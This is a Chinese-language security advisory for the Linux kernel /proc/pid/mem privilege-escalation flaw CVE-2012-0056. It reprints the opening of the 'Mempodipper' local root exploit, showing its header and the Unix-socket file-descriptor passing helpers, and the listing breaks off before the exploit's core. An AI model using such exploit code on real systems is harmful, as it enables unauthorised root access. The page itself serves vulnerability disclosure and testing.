Linux Kernel write本地权限提升漏洞(CVE

发布日期:2012-01-23
更新日期:2012-02-02

受影响系统:
Linux kernel 2.6.x
不受影响系统:
Linux kernel 2.6.38
Linux kernel 2.6.26
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 51625
CVE ID: CVE-2012-0056

Linux是自由电脑操作系统内核。

Linux Kernel在SUID /proc/pid/mem write的实现上存在本地权限提升漏洞,攻击者可利用此漏洞获取提升的权限,以内核级别执行任意代码。

<*来源:Juri Aedla
 
  链接:
       
*>

测试方法:
--------------------------------------------------------------------------------
警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Juri Aedla ()提供了如下测试方法:

/*
* Mempodipper
* by zx2c4
*
* Linux Local Root Exploit
*
* Rather than put my write up here, per usual, this time I've put it
* in a rather lengthy blog post:
*
* Enjoy.
*
* - zx2c4
* Jan 21, 2012
*
* CVE-2012-0056
*/

#define _LARGEFILE64_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <fcntl.h>
#include <unistd.h>
#include <limits.h>

char *socket_path = "/tmp/.sockpuppet";
int send_fd(int fd)
{
    char buf[1];
    struct iovec iov;
    struct msghdr msg;
    struct cmsghdr *cmsg;
    struct sockaddr_un addr;
    int n;
    int sock;
    char cms[CMSG_SPACE(sizeof(int))];
    
    if ((sock = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
        return -1;
    memset(&addr, 0, sizeof(addr));
    addr.sun_family = AF_UNIX;
    strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
    if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0)
        return -1;

buf[0] = 0;
    iov.iov_base = buf;
    iov.iov_len = 1;

memset(&msg, 0, sizeof msg);
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    msg.msg_control = (caddr_t)cms;
    msg.msg_controllen = CMSG_LEN(sizeof(int));

cmsg = CMSG_FIRSTHDR(&msg);
    cmsg->cmsg_len = CMSG_LEN(sizeof(int));
    cmsg->cmsg_level = SOL_SOCKET;
    cmsg->cmsg_type = SCM_RIGHTS;
    memmove(CMSG_DATA(cmsg), &fd, sizeof(int));

if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
        return -1;
    close(sock);
    return 0;
}

int recv_fd()
{
    int listener;
    int sock;
    int n;
    int fd;
    char buf[1];
    struct iovec iov;
    struct msghdr msg;
    struct cmsghdr *cmsg;
    struct sockaddr_un addr;
    char cms[CMSG_SPACE(sizeof(int))];

if ((listener = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
        return -1;
    memset(&addr, 0, sizeof(addr));
    addr.sun_family = AF_UNIX;
    strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
    unlink(socket_path);
    if (bind(listener, (struct sockaddr*)&addr, sizeof(addr)) < 0)
        return -1;
    if (listen(listener, 1) < 0)
        return -1;
    if ((sock = accept(listener, NULL, NULL)) < 0)
        return -1;
    
    iov.iov_base = buf;
    iov.iov_len = 1;

memset(&msg, 0, sizeof msg);
    msg.msg_name = 0;
    msg.msg_namelen = 0;
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;

msg.msg_control = (caddr_t)cms;
    msg.msg_controllen = sizeof cms;

if ((n = recvmsg(sock, &msg, 0)) < 0)
        return -1;
    if (n == 0)
        return -1;
    cmsg = CMSG_FIRSTHDR(&msg);
    memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
    close(sock);
    close(listener);
    return fd;
}

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wwdpxw.html